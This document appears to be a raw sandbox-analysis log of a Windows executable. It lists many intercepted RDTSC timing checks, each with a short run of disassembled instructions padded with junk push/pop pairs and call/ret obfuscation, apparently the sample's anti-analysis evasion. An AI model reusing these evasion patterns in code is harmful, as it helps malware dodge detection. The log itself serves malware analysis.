Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D88D9 second address: 6D88E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F892C71B566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D88E3 second address: 6D88E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D88E7 second address: 6D8928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F892C71B56Dh 0x00000010 mov ebx, 5FC33822h 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 pushad 0x00000019 or si, 5DBDh 0x0000001e ja 00007F892C71B568h 0x00000024 popad 0x00000025 push 00000000h 0x00000027 mov ebx, 20C7A616h 0x0000002c xchg eax, esi 0x0000002d je 00007F892C71B574h 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8928 second address: 6D8939 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9B11 second address: 6D9B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9B16 second address: 6D9B1B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8ACD second address: 6D8AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8AD1 second address: 6D8ADB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8BAD second address: 6D8BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685D2A second address: 685D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F892C6C1166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DADBF second address: 6DADC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD540 second address: 6DD547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF389 second address: 6DF38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF38D second address: 6DF431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F892C6C116Ch 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F892C6C1168h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D32C9h] 0x00000032 mov bx, cx 0x00000035 push 00000000h 0x00000037 add dword ptr [ebp+122D1BB1h], edi 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007F892C6C1168h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 0000001Bh 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 push eax 0x0000005a pushad 0x0000005b pushad 0x0000005c jmp 00007F892C6C1171h 0x00000061 jmp 00007F892C6C116Ah 0x00000066 popad 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF431 second address: 6DF435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0466 second address: 6E049A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F892C6C1176h 0x00000008 jmp 00007F892C6C1173h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E049A second address: 6E04A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jbe 00007F892C71B56Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E04A9 second address: 6E050D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 movsx edi, ax 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F892C6C1168h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 or bx, C46Bh 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F892C6C1168h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 mov dword ptr [ebp+122D3D16h], eax 0x0000004c xchg eax, esi 0x0000004d push edi 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E050D second address: 6E0511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2482 second address: 6E2488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2488 second address: 6E248C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF570 second address: 6DF60A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F892C6C1168h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jno 00007F892C6C1169h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F892C6C1168h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d and ebx, 56770837h 0x00000043 mov eax, dword ptr [ebp+122D11EDh] 0x00000049 mov dword ptr [ebp+122D1C64h], eax 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push ebp 0x00000054 call 00007F892C6C1168h 0x00000059 pop ebp 0x0000005a mov dword ptr [esp+04h], ebp 0x0000005e add dword ptr [esp+04h], 0000001Bh 0x00000066 inc ebp 0x00000067 push ebp 0x00000068 ret 0x00000069 pop ebp 0x0000006a ret 0x0000006b mov edi, dword ptr [ebp+124718A9h] 0x00000071 jmp 00007F892C6C1170h 0x00000076 push eax 0x00000077 push esi 0x00000078 push eax 0x00000079 push edx 0x0000007a jc 00007F892C6C1166h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF60A second address: 6DF60E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E06C8 second address: 6E0766 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jne 00007F892C6C1178h 0x0000000e nop 0x0000000f movzx ebx, bx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F892C6C1168h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 or bx, 51F3h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f xor bx, AC00h 0x00000044 mov eax, dword ptr [ebp+122D0DCDh] 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push esi 0x0000004f call 00007F892C6C1168h 0x00000054 pop esi 0x00000055 mov dword ptr [esp+04h], esi 0x00000059 add dword ptr [esp+04h], 0000001Bh 0x00000061 inc esi 0x00000062 push esi 0x00000063 ret 0x00000064 pop esi 0x00000065 ret 0x00000066 adc di, A22Eh 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F892C6C116Ch 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0766 second address: 6E076C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E076C second address: 6E0784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C6C1174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E32E7 second address: 6E32EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E32EB second address: 6E32F5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E25EC second address: 6E25F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E32F5 second address: 6E335C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F892C6C116Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F892C6C1168h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1BB1h], esi 0x0000002d push 00000000h 0x0000002f mov ebx, edx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F892C6C1168h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 jnp 00007F892C6C1168h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E335C second address: 6E3387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F892C71B570h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F892C71B570h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E440E second address: 6E4412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E34C2 second address: 6E34C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4412 second address: 6E448B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F892C6C1172h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov edi, edx 0x00000014 push esi 0x00000015 sub dword ptr [ebp+122D1D4Eh], ebx 0x0000001b pop edi 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F892C6C1168h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 jnl 00007F892C6C116Bh 0x0000003e push 00000000h 0x00000040 jne 00007F892C6C1166h 0x00000046 stc 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E34C6 second address: 6E34DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F892C71B571h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E448B second address: 6E4492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4641 second address: 6E4645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4645 second address: 6E4651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4651 second address: 6E4660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C71B56Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680C2B second address: 680C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3854 second address: 6F3876 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B578h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3876 second address: 6F38B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F892C6C1168h 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F892C6C116Ah 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F38B2 second address: 6F38D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F892C71B56Eh 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F38D4 second address: 6F38DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F38DA second address: 6F38DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F39C7 second address: 6F39CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F39CB second address: 6F39D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F39D1 second address: 6F39D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3A90 second address: 51FDF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B574h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a add dword ptr [esp], 5BE98200h 0x00000011 stc 0x00000012 push dword ptr [ebp+122D0CC9h] 0x00000018 pushad 0x00000019 jmp 00007F892C71B579h 0x0000001e mov ecx, 7F2E43D2h 0x00000023 popad 0x00000024 cmc 0x00000025 call dword ptr [ebp+122D2DD5h] 0x0000002b pushad 0x0000002c pushad 0x0000002d mov dword ptr [ebp+122D17EDh], ecx 0x00000033 sub esi, dword ptr [ebp+122D2B94h] 0x00000039 popad 0x0000003a xor eax, eax 0x0000003c mov dword ptr [ebp+122D1BB1h], eax 0x00000042 mov edx, dword ptr [esp+28h] 0x00000046 or dword ptr [ebp+122D1BB1h], eax 0x0000004c mov dword ptr [ebp+122D29E8h], eax 0x00000052 jno 00007F892C71B567h 0x00000058 mov esi, 0000003Ch 0x0000005d stc 0x0000005e pushad 0x0000005f mov dword ptr [ebp+122D1BB1h], edi 0x00000065 mov dx, 64CBh 0x00000069 popad 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e jmp 00007F892C71B573h 0x00000073 lodsw 0x00000075 xor dword ptr [ebp+122D17F5h], edi 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f sub dword ptr [ebp+122D17F5h], esi 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 cmc 0x0000008a nop 0x0000008b jns 00007F892C71B56Eh 0x00000091 jno 00007F892C71B568h 0x00000097 push eax 0x00000098 push edx 0x00000099 push eax 0x0000009a push edx 0x0000009b push eax 0x0000009c push edx 0x0000009d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F601F second address: 6F6056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C6C1177h 0x00000009 popad 0x0000000a pop edx 0x0000000b js 00007F892C6C117Eh 0x00000011 js 00007F892C6C116Ah 0x00000017 push eax 0x00000018 pop eax 0x00000019 push edx 0x0000001a pop edx 0x0000001b jg 00007F892C6C116Eh 0x00000021 push eax 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAB68 second address: 6FAB6E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9EC1 second address: 6F9EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA045 second address: 6FA04F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F892C71B566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA890 second address: 6FA894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA894 second address: 6FA898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA898 second address: 6FA8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F892C6C1176h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FED0C second address: 6FED47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F892C71B56Ah 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F892C71B577h 0x00000016 jmp 00007F892C71B573h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF159 second address: 6FF15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF15F second address: 6FF164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF164 second address: 6FF182 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F892C6C116Bh 0x00000010 jnl 00007F892C6C116Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF2CB second address: 6FF2CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF3FC second address: 6FF445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C6C116Bh 0x00000009 popad 0x0000000a jp 00007F892C6C117Eh 0x00000010 jmp 00007F892C6C1178h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 je 00007F892C6C1166h 0x0000001f pop esi 0x00000020 pushad 0x00000021 jp 00007F892C6C1166h 0x00000027 jns 00007F892C6C1166h 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF6E5 second address: 6FF6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F892C71B566h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF6F0 second address: 6FF704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F892C6C116Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFAA4 second address: 6FFAA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFAA8 second address: 6FFAAE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFEB9 second address: 6FFEBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFEBF second address: 6FFEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F892C6C1166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F892C6C1177h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE8AC second address: 6FE8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE8B0 second address: 6FE8BA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F892C6C1166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70367D second address: 70368E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B56Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9C47 second address: 6C9C7A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F892C6C1172h 0x00000010 mov edx, dword ptr [ebp+122D2A34h] 0x00000016 lea eax, dword ptr [ebp+1247D993h] 0x0000001c pushad 0x0000001d mov si, bx 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9C7A second address: 6B25AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F892C71B566h 0x0000000a popad 0x0000000b je 00007F892C71B57Ch 0x00000011 jmp 00007F892C71B576h 0x00000016 popad 0x00000017 mov dword ptr [esp], eax 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F892C71B568h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov edx, dword ptr [ebp+122D2D3Ch] 0x0000003a call dword ptr [ebp+122D31EAh] 0x00000040 pushad 0x00000041 pushad 0x00000042 jns 00007F892C71B566h 0x00000048 push ecx 0x00000049 pop ecx 0x0000004a jg 00007F892C71B566h 0x00000050 popad 0x00000051 push eax 0x00000052 push edx 0x00000053 push ecx 0x00000054 pop ecx 0x00000055 rdtsc
